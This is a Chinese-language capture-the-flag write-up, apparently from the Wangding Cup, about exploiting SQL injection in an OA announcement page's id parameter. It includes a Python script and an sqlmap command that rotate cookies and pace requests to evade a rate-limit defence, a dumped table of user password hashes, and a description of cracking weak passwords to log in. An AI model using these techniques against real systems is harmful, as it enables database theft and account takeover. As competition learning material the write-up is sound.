进入做题页面,经过信息搜集和目录扫描,发现只有一个公告是可以利用的
`http://0192c74e0f9871c2956795c804c3dde3.8nfp.dg01.wangdingcup.com:43014/OA_announcement.php?id=1`
这个后面有一个明显的注入点,经过多次刷新和快速刷新后发现,会出现非法操作
经过探究发现,是Cookie变了,当被频繁刷新的时候,Cookie就会被禁用,就会触发非法操作。
也就意味着我们每次进行注入的时候,要么时间间隔大于1秒一次,要么每次都获取新的Cookie
这里直接上python代码
import requests
import time
while True:
sess = requests.session()
r = sess.get("http://0192c74e0f9871c2956795c804c3dde3.8nfp.dg01.wangdingcup.com:43014/")
x = input()
start = time.time_ns()
r = sess.get("http://0192c74e0f9871c2956795c804c3dde3.8nfp.dg01.wangdingcup.com:43014/OA_announcement.php?id={}".format(x))
stop = time.time_ns()
print(r.text)
# print(sess.headers, r.headers)
print()
print((stop-start)//1000//1000)
print(x)
print("========================================================\n")
可以通过输入来进行拼接URL,每次都是新的Cookie,这里还加了计时,方便进行时间盲注(结果发现根本用不上,部分代码可以删掉)
经过发现是需要4列,其中2,3列回显
剩下的就很简单了
id | OAname | PassWord | Status |
2 | 2009371209 | bd109afc78d44da53aafe2a2f5c1a207 | 0 |
1 | 2009340218 | 6fbb6973fa60551e5f09d22a51fd959d | 1 |
3 | 2009371210 | ce01248197cd82fb524811d48bf3ded6 | 1 |
这就是用户表了,之前也说了,这是一个弱密码,如果联网情况下可以去`cmd5`网页进行查询,如果是本地,一般也就是6-8位数字,经过查询,用户0和3的能查到密码,用户0被封禁了,所以只能是用户3登录
轻松拿到flag
当然,这么简单的注入,也肯定要来一点sqlmap的震撼
`sqlmap -u "http://0192c74e0f9871c2956795c804c3dde3.8nfp.dg01.wangdingcup.com:43014/OA_announcement.php?id=1" --eval="import requests; s = requests.Session(); s.get('http://0192c74e0f9871c2956795c804c3dde3.8nfp.dg01.wangdingcup.com:43014/'); cookie = '; '.join([f'{k}={v}' for k, v in s.cookies.items()])" --random-agent --delay=1 --dbs
`
这个可以每次保证请求间隔1秒以上顺便每次都会有个新Cookie, sqlmap的后续操作就不多做说明了,已经很震撼了